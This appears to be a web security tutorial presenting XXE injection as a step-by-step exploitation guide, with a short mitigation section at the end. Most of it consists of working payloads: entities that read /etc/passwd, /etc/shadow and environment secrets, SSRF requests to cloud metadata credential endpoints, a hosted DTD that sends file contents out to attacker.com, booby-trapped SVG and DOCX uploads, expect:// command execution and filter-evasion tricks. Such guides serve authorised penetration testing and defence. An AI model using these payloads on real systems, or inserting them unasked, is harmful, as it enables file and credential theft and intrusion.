XXE Injection: Complete Exploitation Guide with OOB Exfiltration (2025)
XML External Entity (XXE) injection is a vulnerability that targets XML parsers. When an application parses XML input and external entity processing is enabled, an attacker can read arbitrary files, perform server-side request forgery, and in some cases execute remote code. XXE consistently appears in the OWASP Top 10 and remains highly rewarding in bug bounty programs.
How XXE Works
XML supports a feature called Document Type Definitions (DTD), which allows defining entities — variables that are substituted during parsing. External entities can reference URIs, including local file paths and remote URLs. When an application parses attacker-controlled XML and the parser has external entity processing enabled, this becomes exploitable.
The classic XXE payload for reading local files:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root><data>&xxe;</data></root>
If the application reflects the parsed XML content back in its response, you will see the contents of /etc/passwd.
Common File Retrieval Targets
file:///etc/passwd— User accounts on Linuxfile:///etc/shadow— Password hashes (requires root)file:///etc/hosts— Network configurationfile:///proc/self/environ— Environment variables (credentials, secrets)file:///proc/self/cmdline— Running command linefile:///var/www/html/config.php— Application configurationC:\Windows\System32\drivers\etc\hosts— Windows hosts fileC:\inetpub\wwwroot\web.config— ASP.NET configuration
XXE to SSRF
XXE can pivot to SSRF by pointing the external entity at an internal HTTP endpoint rather than a file path:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]>
<root><data>&xxe;</data></root>
This retrieves AWS IMDSv1 instance metadata. Other useful internal targets include:
http://169.254.169.254/latest/meta-data/ (AWS)
http://metadata.google.internal/computeMetadata/ (GCP — requires headers)
http://169.254.169.254/metadata/instance (Azure)
http://localhost:8080/admin (Local admin panels)
http://10.0.0.1/ (Internal network services)
Blind XXE with Out-of-Band Exfiltration
Often the application parses the XML but doesn't reflect output in the response. You need out-of-band (OOB) techniques to exfiltrate data. The approach involves a malicious external DTD hosted on your server.
Step 1: Host a Malicious DTD
Create a file exfil.dtd on your collaborator server (attacker.com):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
%wrap;
%send;
Step 2: Trigger DTD Loading via Parameter Entity
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/exfil.dtd">
%xxe;
]>
<root><data>test</data></root>
The parser fetches your DTD, which in turn fetches the file contents and sends them to your server as a query parameter. Monitor your server logs or use Burp Collaborator to capture the request.
DNS-Based Blind Detection
When HTTP exfiltration is blocked by firewall rules, DNS callbacks still work because DNS lookups often bypass egress filtering:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://UNIQUE_ID.burpcollaborator.net"> ]>
<root><data>&xxe;</data></root>
A DNS lookup confirms the server makes outbound requests, confirming blind XXE. Use Burp Collaborator or interactsh to capture these callbacks.
XXE via File Uploads
Applications that process XML-based file formats are often vulnerable even when they don't have an obvious XML API endpoint.
SVG Upload
SVG files are XML. If an application accepts SVG uploads and renders them server-side (e.g., for thumbnail generation), inject XXE into the SVG:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
DOCX / XLSX / PPTX Upload
Office Open XML formats (DOCX, XLSX, PPTX) are ZIP archives containing XML files. To inject XXE into a DOCX:
# Unzip the DOCX
unzip target.docx -d target_dir
# Edit word/document.xml to add your entity
# Add to the top after the XML declaration:
# <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
# Reference &xxe; somewhere in the document body
# Repack
cd target_dir && zip -r ../malicious.docx .
PHP-Specific: Expect and Php:// Wrappers
PHP stream wrappers extend XXE capabilities on PHP applications:
<!-- Read PHP source code (base64 encoded) -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
<!-- Execute commands via expect:// wrapper (if expect module loaded) -->
<!ENTITY xxe SYSTEM "expect://id">
<!-- Read files with special characters via base64 -->
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
The php://filter wrapper is especially useful because it base64-encodes the output, avoiding issues with special characters that would break the XML structure.
XXE Filter Bypass Techniques
Some applications filter keywords like SYSTEM, DOCTYPE, or ENTITY. Try these bypasses:
UTF-16 Encoding
# Save payload as UTF-16LE encoded XML
# Many parsers accept UTF-16 and process DTDs before charset validation
Parameter Entities in Internal DTD
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://attacker.com/exfil.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
Chunked Transfer Encoding
When WAFs inspect request bodies, delivering the payload via chunked transfer encoding can bypass signature matching. Use WAF Bypass Tool to automate encoding variations.
Detection and Testing Methodology
- Identify all endpoints that accept XML (SOAP, REST APIs with Content-Type: application/xml, file uploads)
- Check for XML in hidden form fields and JSON-to-XML conversion points
- Send a basic entity reference:
<!DOCTYPE foo [<!ENTITY test "xxe">]> - Try OOB via Burp Collaborator for blind scenarios
- Test file upload endpoints with malicious SVG/DOCX files
Mitigation
- Disable external entity and DTD processing in the XML parser (safest fix)
- Use less complex data formats like JSON where possible
- Whitelist allowed entity references
- Patch XML libraries — many older versions have XXE enabled by default
For SSRF chaining after XXE, see our guide on SSRF Exploitation and Cloud Metadata. WAF evasion techniques for XXE payloads are covered in the WAF Bypass Guide. Use the Encoding Pipeline to encode your XXE payloads for delivery through WAFs.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides